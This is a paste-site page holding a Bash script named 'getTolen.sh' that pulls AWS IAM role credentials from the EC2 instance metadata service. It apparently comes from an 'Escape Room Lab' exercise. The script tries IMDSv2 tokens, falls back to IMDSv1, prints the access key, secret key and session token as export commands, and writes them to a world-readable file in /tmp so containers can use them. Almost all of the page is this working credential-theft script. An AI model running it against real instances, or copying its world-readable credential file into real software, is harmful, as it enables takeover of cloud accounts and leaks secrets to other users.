orenma icon

getTolen.sh

orenma | PRO | 08/14/25 04:23:21 PM UTC | 0 ⭐ | 14367 👁️ | Never ⏰ | []
Bash |

13.07 KB

|

Cybersecurity

|

0 👍

/

0 👎

#!/bin/bash
 
# Host-Based IMDS Credential Extractor
# Based on the Medium article about IMDSv2 enforcement and container restrictions
# https://medium.com/kernel-space/the-dangers-of-modifyinstanceattribute-d4290ca7a457
 
echo "==== Host-Based IMDS Credential Extractor ===="
echo "Based on research from: https://medium.com/kernel-space/the-dangers-of-modifyinstanceattribute-d4290ca7a457"
echo ""
 
DEBUG=${DEBUG:-0}
 
debug_log() {
    if [ "$DEBUG" -eq 1 ]; then
        echo "[DEBUG] $1" >&2
    fi
}
 
# Check if we're running on the host vs container
check_environment() {
    echo "[*] Checking execution environment..."
    
    if [ -f /.dockerenv ] || grep -q docker /proc/1/cgroup 2>/dev/null; then
        echo "[!] WARNING: Running inside container - this may fail due to iptables restrictions"
        echo "[!] The article explains that containers often have blocked IMDS access"
        echo "[!] Attempting anyway, but consider running on the host..."
        return 1
    else
        echo "[+] Running on host system - optimal for IMDS access"
        return 0
    fi
}
 
# Check EC2 metadata configuration (as mentioned in the article)
check_metadata_configuration() {
    echo "[*] Checking EC2 instance metadata configuration..."
    
    # Get instance ID first
    local instance_id
    instance_id=$(timeout 5 curl -s http://169.254.169.254/latest/meta-data/instance-id 2>/dev/null)
    
    if [ -n "$instance_id" ]; then
        echo "[+] Instance ID: $instance_id"
        
        # Check if we have AWS CLI to inspect metadata options
        if command -v aws >/dev/null; then
            echo "[*] Checking instance metadata options..."
            local metadata_options
            metadata_options=$(aws ec2 describe-instances \
                --instance-ids "$instance_id" \
                --query 'Reservations[].Instances[].MetadataOptions' \
                --output json 2>/dev/null)
            
            if [ -n "$metadata_options" ]; then
                echo "[+] Metadata Options:"
                echo "$metadata_options" | jq . 2>/dev/null || echo "$metadata_options"
                
                # Check if IMDSv2 is enforced
                local imdsv2_required
                imdsv2_required=$(echo "$metadata_options" | jq -r '.[].HttpTokens' 2>/dev/null)
                if [ "$imdsv2_required" = "required" ]; then
                    echo "[!] IMDSv2 is ENFORCED (HttpTokens: required)"
                    echo "[!] This explains why PUT requests are needed for tokens"
                else
                    echo "[+] IMDSv2 is optional (HttpTokens: $imdsv2_required)"
                fi
            fi
        else
            echo "[*] AWS CLI not available - cannot check metadata options"
        fi
    else
        echo "[-] Cannot retrieve instance ID - may not be running on EC2"
        return 1
    fi
}
 
# Test basic IMDS connectivity
test_imds_connectivity() {
    echo "[*] Testing IMDS connectivity..."
    
    # Test basic connectivity
    local basic_response
    basic_response=$(timeout 5 curl -s -w "HTTP_CODE:%{http_code}" http://169.254.169.254/latest/meta-data/ 2>/dev/null)
    
    if echo "$basic_response" | grep -q "HTTP_CODE:200"; then
        echo "[+] Basic IMDS access working (HTTP 200)"
        return 0
    elif echo "$basic_response" | grep -q "HTTP_CODE:401"; then
        echo "[+] IMDS responding with HTTP 401 (IMDSv2 enforced - this is expected)"
        return 0
    else
        echo "[-] IMDS not accessible: $basic_response"
        return 1
    fi
}
 
# Method 1: Standard IMDSv2 (should work on host)
try_imdsv2_standard() {
    echo "[*] Method 1: Standard IMDSv2 token request (host-based)..."
    
    # Request token with verbose output for debugging
    local token_response token
    if [ "$DEBUG" -eq 1 ]; then
        echo "[DEBUG] Making verbose token request..."
        token_response=$(timeout 10 curl -v -X PUT \
            -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \
            http://169.254.169.254/latest/api/token 2>&1)
        
        echo "[DEBUG] Token response: $token_response"
        token=$(echo "$token_response" | tail -n 1 | tr -d '\r\n ')
    else
        token=$(timeout 10 curl -s -X PUT \
            -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \
            http://169.254.169.254/latest/api/token 2>/dev/null | tr -d '\r\n ')
    fi
    
    if [ -n "$token" ] && [ ${#token} -gt 10 ]; then
        echo "[+] IMDSv2 token obtained successfully!"
        echo "[+] Token: ${token:0:20}..."
        
        # Get role name
        local role_name
        role_name=$(timeout 10 curl -s \
            -H "X-aws-ec2-metadata-token: $token" \
            http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null | tr -d '\r\n ')
        
        if [ -n "$role_name" ]; then
            echo "[+] IAM Role found: $role_name"
            
            # Get credentials
            local creds
            creds=$(timeout 15 curl -s \
                -H "X-aws-ec2-metadata-token: $token" \
                "http://169.254.169.254/latest/meta-data/iam/security-credentials/$role_name" 2>/dev/null)
            
            if [ -n "$creds" ] && echo "$creds" | grep -q "AccessKeyId"; then
                echo "[+] Credentials retrieved successfully!"
                export_credentials "$creds"
                return 0
            else
                echo "[-] Failed to retrieve credentials"
                debug_log "Credentials response: $creds"
            fi
        else
            echo "[-] No IAM role found"
        fi
    else
        echo "[-] Failed to obtain IMDSv2 token"
        debug_log "Token response: $token"
    fi
    
    return 1
}
 
# Method 2: Try IMDSv1 fallback (as mentioned in article)
try_imdsv1_fallback() {
    echo "[*] Method 2: Attempting IMDSv1 fallback..."
    
    # Test if IMDSv1 is available
    local imdsv1_test
    imdsv1_test=$(timeout 5 curl -s http://169.254.169.254/latest/meta-data/ 2>/dev/null)
    
    if [ -n "$imdsv1_test" ] && ! echo "$imdsv1_test" | grep -q "401\|Unauthorized"; then
        echo "[+] IMDSv1 appears to be available"
        
        # Try to get role via IMDSv1
        local role_name
        role_name=$(timeout 10 curl -s \
            http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null | tr -d '\r\n ')
        
        if [ -n "$role_name" ]; then
            echo "[+] IAM Role found via IMDSv1: $role_name"
            
            # Get credentials via IMDSv1
            local creds
            creds=$(timeout 15 curl -s \
                "http://169.254.169.254/latest/meta-data/iam/security-credentials/$role_name" 2>/dev/null)
            
            if [ -n "$creds" ] && echo "$creds" | grep -q "AccessKeyId"; then
                echo "[+] Credentials retrieved via IMDSv1!"
                export_credentials "$creds"
                return 0
            fi
        fi
    else
        echo "[-] IMDSv1 not available (likely disabled for security)"
    fi
    
    return 1
}
 
# Method 3: Container to host credential forwarding
setup_credential_forwarding() {
    echo "[*] Method 3: Setting up credential forwarding for containers..."
    
    # If we successfully got credentials on host, set up forwarding
    if [ -n "$AWS_ACCESS_KEY_ID" ]; then
        echo "[+] Setting up credential forwarding to containers..."
        
        # Create credential file that containers can access
        local cred_file="/tmp/aws_credentials_escape_room"
        cat > "$cred_file" << EOF
# AWS Credentials for Escape Room Lab
# Generated: $(date)
export AWS_ACCESS_KEY_ID="$AWS_ACCESS_KEY_ID"
export AWS_SECRET_ACCESS_KEY="$AWS_SECRET_ACCESS_KEY"
export AWS_SESSION_TOKEN="$AWS_SESSION_TOKEN"
EOF
        
        chmod 644 "$cred_file"
        echo "[+] Credentials saved to: $cred_file"
        echo "[+] Containers can source this file to get credentials"
        echo ""
        echo "# In container, run:"
        echo "source $cred_file"
        
        return 0
    fi
    
    return 1
}
 
# Enhanced credential export
export_credentials() {
    local creds="$1"
    echo "[*] Parsing and exporting credentials..."
    
    # Try jq first, then fall back to grep
    if command -v jq >/dev/null 2>&1; then
        export AWS_ACCESS_KEY_ID=$(echo "$creds" | jq -r '.AccessKeyId' 2>/dev/null)
        export AWS_SECRET_ACCESS_KEY=$(echo "$creds" | jq -r '.SecretAccessKey' 2>/dev/null)
        export AWS_SESSION_TOKEN=$(echo "$creds" | jq -r '.Token' 2>/dev/null)
        local EXPIRATION=$(echo "$creds" | jq -r '.Expiration' 2>/dev/null)
    else
        export AWS_ACCESS_KEY_ID=$(echo "$creds" | grep -oP '"AccessKeyId"\s*:\s*"\K[^"]+' | head -n 1)
        export AWS_SECRET_ACCESS_KEY=$(echo "$creds" | grep -oP '"SecretAccessKey"\s*:\s*"\K[^"]+' | head -n 1)
        export AWS_SESSION_TOKEN=$(echo "$creds" | grep -oP '"Token"\s*:\s*"\K[^"]+' | head -n 1)
        local EXPIRATION=$(echo "$creds" | grep -oP '"Expiration"\s*:\s*"\K[^"]+' | head -n 1)
    fi
 
    if [ -n "$AWS_ACCESS_KEY_ID" ] && [ -n "$AWS_SECRET_ACCESS_KEY" ] && [ -n "$AWS_SESSION_TOKEN" ]; then
        echo ""
        echo "============================================"
        echo "# 🎯 AWS Credentials Successfully Retrieved!"
        echo "# 📖 Using method from Medium article research"
        echo "============================================"
        echo ""
        echo "# Copy and paste these commands:"
        echo "export AWS_ACCESS_KEY_ID=\"$AWS_ACCESS_KEY_ID\""
        echo "export AWS_SECRET_ACCESS_KEY=\"$AWS_SECRET_ACCESS_KEY\""
        echo "export AWS_SESSION_TOKEN=\"$AWS_SESSION_TOKEN\""
        echo ""
        if [ -n "$EXPIRATION" ]; then
            echo "# Credentials expire at: $EXPIRATION"
            echo ""
        fi
        echo "# Verify with: aws sts get-caller-identity"
        echo ""
        echo "# 📝 For container use, see credential forwarding above"
        echo "============================================"
        return 0
    else
        echo "[-] Failed to parse credentials properly"
        debug_log "Raw credentials: $creds"
        return 1
    fi
}
 
# Check for iptables rules blocking container access (as per article)
check_iptables_restrictions() {
    echo "[*] Checking for iptables restrictions (as described in article)..."
    
    if command -v iptables >/dev/null && [ "$EUID" -eq 0 ]; then
        echo "[+] Checking iptables rules for metadata service..."
        
        # Check for rules affecting 169.254.169.254
        local metadata_rules
        metadata_rules=$(iptables -L -n -v 2>/dev/null | grep "169.254.169.254")
        
        if [ -n "$metadata_rules" ]; then
            echo "[+] Found iptables rules for metadata service:"
            echo "$metadata_rules"
        else
            echo "[*] No specific iptables rules found for metadata service"
        fi
        
        # Check Docker iptables rules
        local docker_rules
        docker_rules=$(iptables -t nat -L DOCKER -n -v 2>/dev/null | grep "169.254.169.254")
        
        if [ -n "$docker_rules" ]; then
            echo "[+] Found Docker iptables rules for metadata service:"
            echo "$docker_rules"
        fi
        
    else
        echo "[*] Cannot check iptables (need root privileges)"
    fi
}
 
# Main execution
main() {
    if [ "$1" == "--debug" ] || [ "$1" == "-d" ]; then
        export DEBUG=1
        echo "[DEBUG] Debug mode enabled"
    fi
    
    # Environment check
    local is_host=0
    check_environment && is_host=1
    
    echo ""
    
    # Configuration check
    check_metadata_configuration
    echo ""
    
    # Connectivity test
    if ! test_imds_connectivity; then
        echo "[-] Basic IMDS connectivity failed"
        exit 1
    fi
    echo ""
    
    # Try IMDSv2 first (should work on host)
    if try_imdsv2_standard; then
        setup_credential_forwarding
        exit 0
    fi
    
    echo ""
    
    # Try IMDSv1 fallback
    if try_imdsv1_fallback; then
        setup_credential_forwarding
        exit 0
    fi
    
    echo ""
    
    # Check for restrictions
    check_iptables_restrictions
    
    echo ""
    echo "============================================"
    echo "[-] ❌ Failed to retrieve credentials"
    echo "============================================"
    echo ""
    echo "Based on the Medium article analysis:"
    echo "1. IMDSv2 may be enforced (requires PUT requests)"
    echo "2. Container iptables rules may block metadata access"
    echo "3. Network policies may prevent container IMDS access"
    echo ""
    if [ "$is_host" -eq 0 ]; then
        echo "💡 RECOMMENDATION: Run this script on the HOST system:"
        echo "   1. Exit the container"
        echo "   2. Run this script directly on the EC2 host"
        echo "   3. Use credential forwarding for container access"
    fi
    echo "============================================"
    
    exit 1
}
 
main "$@"

Comments

  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    👍

    /

    👎

    
        
  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    👍

    /

    👎

    
        
  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    👍

    /

    👎

    
        
  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    👍

    /

    👎

    
        
  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    👍

    /

    👎

    
        
  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    👍

    /

    👎

    
        
  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    👍

    /

    👎

    
        
  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    👍

    /

    👎

    
        
  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    👍

    /

    👎

    
        
  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    👍

    /

    👎

    
        
  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    👍

    /

    👎

    
        
  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    👍

    /

    👎

    
        
  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    👍

    /

    👎

    
        
  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    👍

    /

    👎

    
        
  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    👍

    /

    👎